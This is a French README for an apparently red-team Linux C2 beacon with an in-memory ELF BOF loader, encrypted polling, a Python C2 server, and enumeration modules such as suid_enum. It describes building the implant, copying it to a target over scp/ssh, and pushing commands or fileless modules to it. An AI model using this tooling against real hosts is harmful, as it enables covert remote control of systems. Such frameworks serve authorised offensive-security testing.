Balise C2 Linux avec chargeur BOF ELF natif en mémoire, interrogation chiffrée AES-256-CFB et serveur C2 Python pour modules de post-exploitation sans fichier.
Un beacon C2 Linux avec un loader BOF ELF natif en mémoire, écrit en C sans runtime Go ni Rust. Conçu pour s'intégrer au framework RedTeam LazyOwn et inspiré des Beacon Object Files de Cobalt Strike.
Ce dépôt contient :
beacons/v1/, beacons/v2/, beacons/v3/
Trois variantes du même beacon HTTPS/CFB. v1 est le beacon
canonique en mode pull. v2 ajoute la découverte mesh/p2p. v3 est
une branche expérimentale.bof/<name>/bof.c
Des objets ELF indépendants du positionnement que le beacon peut récupérer et exécuter
en mémoire. Les cinq inclus sont : whoami, is_sudo, cat,
userenum, suid_enum.c2/server.py
Un petit serveur Python de type Gopher qui sert des commandes, accepte
les résultats et héberge les BOFs.include/
AES-256 autonome (aes.c/aes.h), cJSON, le chargeur de
configuration d'exécution (config.c/config.h plus le miroir
Python config_py.py), et les wrappers AES-256-CFB partagés par
le beacon et les tests.Makefile, CI dans .github/workflows/ci.yml,
tests dans tests/.Pour une exécution de bout en bout en 5 minutes, voir QUICKSTART.md. Pour le guide d'écriture de BOF, voir docs/BOF_AUTHORING.md. Pour le protocole de communication C2, voir docs/PROTOCOL.md.
Build (Debian/Ubuntu) :
sudo apt-get install gcc libcurl4-openssl-dev libssl-dev make
Environnement d'exécution pour le serveur C2 :
pip install -r requirements.txt
make config # one-time: copies config.example.json -> config.json
make beacon # builds build/beacon (runnable, with build/config.json staged next to it)
make bofs # builds all BOFs into build/bof/*.x64.o
make all-beacons # builds v1, v2, v3
make test # runs the full test suite
make clean # removes build/
Après make beacon, le binaire est prêt à être exécuté :
./build/beacon
Il lit build/config.json (à côté de lui-même) via le chemin de recherche relatif au binaire, donc aucun BSB_CONFIG ni cd config/ n'est nécessaire. Le même binaire copié sur un autre hôte fonctionne de manière identique tant qu'un config.json se trouve à côté de lui.
Si vous souhaitez uniquement reconstruire un seul BOF :
make bof-whoami
make bof-suid_enum
Pour expédier vers une cible, le Makefile dispose d'une cible install qui
prépare un répertoire autonome :
make install-all DESTDIR=/tmp/deploy
scp -r /tmp/deploy/* user@target:/opt/bsb/
ssh user@target /opt/bsb/beacon
Ce n'est pas le flux normal. Utilisez-le uniquement lorsque vous devez regrouper le binaire + la configuration + les BOFs dans un seul répertoire que vous pouvez copier ailleurs.
python3 c2/server.py
Le serveur se lie à 0.0.0.0:7070 par défaut et lit sa clé AES
et son URI C2 depuis config/config.json. Remplacez le chemin de configuration
avec BSB_CONFIG=/path/to/config.json.
Une fois le serveur démarré, vous pouvez injecter des commandes depuis le REPL :
Client ID: linux
Command: id
./build/beacon
Le beacon lit config/config.json (relatif au binaire, trouvé
via le chemin de recherche relatif au binaire), interroge le C2 et affiche
ce qu'il envoie et reçoit. Sans commandes en file d'attente, il se contente
de dormir entre les interrogations.
Pour exécuter un BOF, le C2 renvoie un objet JSON avec un champ bof
pointant vers /bof/<name>.x64.o. Le beacon récupère le fichier et
le charge dans son propre processus via le chargeur ELF en mémoire
(RunELF dans beacons/v1/beacon.c).
Tous les paramètres opérationnels résident dans config/config.json et sont
lus au démarrage. Rien n'est intégré en dur dans les binaires.
| Section | Clé | Valeur par défaut | Rôle |
|---|---|---|---|
c2 | url | https://127.0.0.1:4444 | URL de base du C2 |
c2 | uri | /api/poll/ | Chemin URI avant l'identifiant client |
c2 | client_id | linux | Identifiant du beacon |
crypto | aes_key_hex | (placeholder) | 64 caractères hex = 32 octets |
crypto | mode | cfb | Mode de chiffrement |
timing | sleep_seconds | 6 | Intervalle d'interrogation de base |
timing | jitter_percent | 20 | Jitter de +/- pourcentage sur le sommeil |
timing | curl_timeout_seconds | 10 | Délai d'expiration total de libcurl |
timing | curl_connect_timeout_seconds | 5 | Délai d'expiration de connexion de libcurl |
network | user_agents | (4 chaînes) | Liste de rotation |
network | verify_tls | false | Vérification TLS du C2 |
bof | download_chunk_size | 4096 | Tampon de téléchargement des BOF |
La CI exécute un garde-fou qui fait échouer la compilation si une clé hex de 64 caractères
apparaît dans le code source. Les vraies clés appartiennent à config/config.json, qui
est ignoré par git.
Un BOF n'est qu'un fichier source C qui exporte void go(char *args, int alen).
Incluez bof/include/beacon_api.h pour l'API de callback et
bof/include/syscalls.h pour les assistants d'appels système directs. Compilez-le
en position-independent et sans libc :
gcc -c -fPIC -nostdlib -m64 -O2 -I bof/include bof/<name>/bof.c -o build/bof/<name>.x64.o
La cible make bof-<name> encapsule cela. Déposez le fichier
.x64.o résultant dans sessions/uploads/ sur l'hôte C2 et déclenchez-le
en renvoyant une commande comme bof:<name> depuis votre injection
de commande.
Consultez docs/BOF_AUTHORING.md pour le contrat complet.
make test
La suite de tests est répartie en plusieurs fichiers dans tests/ :
| Fichier | Ce qu'il couvre |
|---|---|
test_config.py | Chargeur de configuration JSON en C : valeurs par défaut, surcharges, erreurs |
test_crypto.py | Aller-retour AES-256-CFB et interopérabilité Python/C |
test_bof_compile.py | Chaque BOF se compile, exporte go, ne présente aucune fuite libc |
test_beacon_build.py | Le binaire Beacon se compile, expose l'API BOF + RunELF |
test_c2_server.py | Répartiteur C2 : GET/POST/BOF, durcissement contre le path-traversal |
test_c2_http_e2e.py | Aller-retour réel sur socket HTTP/1.1 avec chiffrement |
test_install_deploy.py | Le workflow make produit une arborescence exécutable, make clean l'efface |